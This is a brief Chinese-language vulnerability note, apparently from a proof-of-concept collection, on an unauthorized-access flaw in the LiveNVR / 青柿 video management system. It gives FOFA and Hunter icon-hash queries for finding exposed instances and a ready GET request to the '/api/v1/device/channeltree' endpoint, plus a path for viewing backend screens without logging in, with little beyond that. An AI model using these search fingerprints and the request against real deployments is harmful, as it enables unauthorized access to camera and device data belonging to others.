破晓魔王 LiveNVR流媒体服务软件接口存在未授权访问漏洞 livenvr 青柿视频管理系统 channeltree 存在未授权访问漏洞。 fofa icon_hash="-206100324" hunter web.icon=="7bfff01de80c14288ff385cd7db83c56" poc GET /api/v1/device/channeltree?serial=&pcode HTTP/1.1 Host: 接口访问/#/screen 可以看到后台信息了 漏洞来源 https://mp.weixin.qq.com/s/whXXvwzZpfj19B7unFCrjg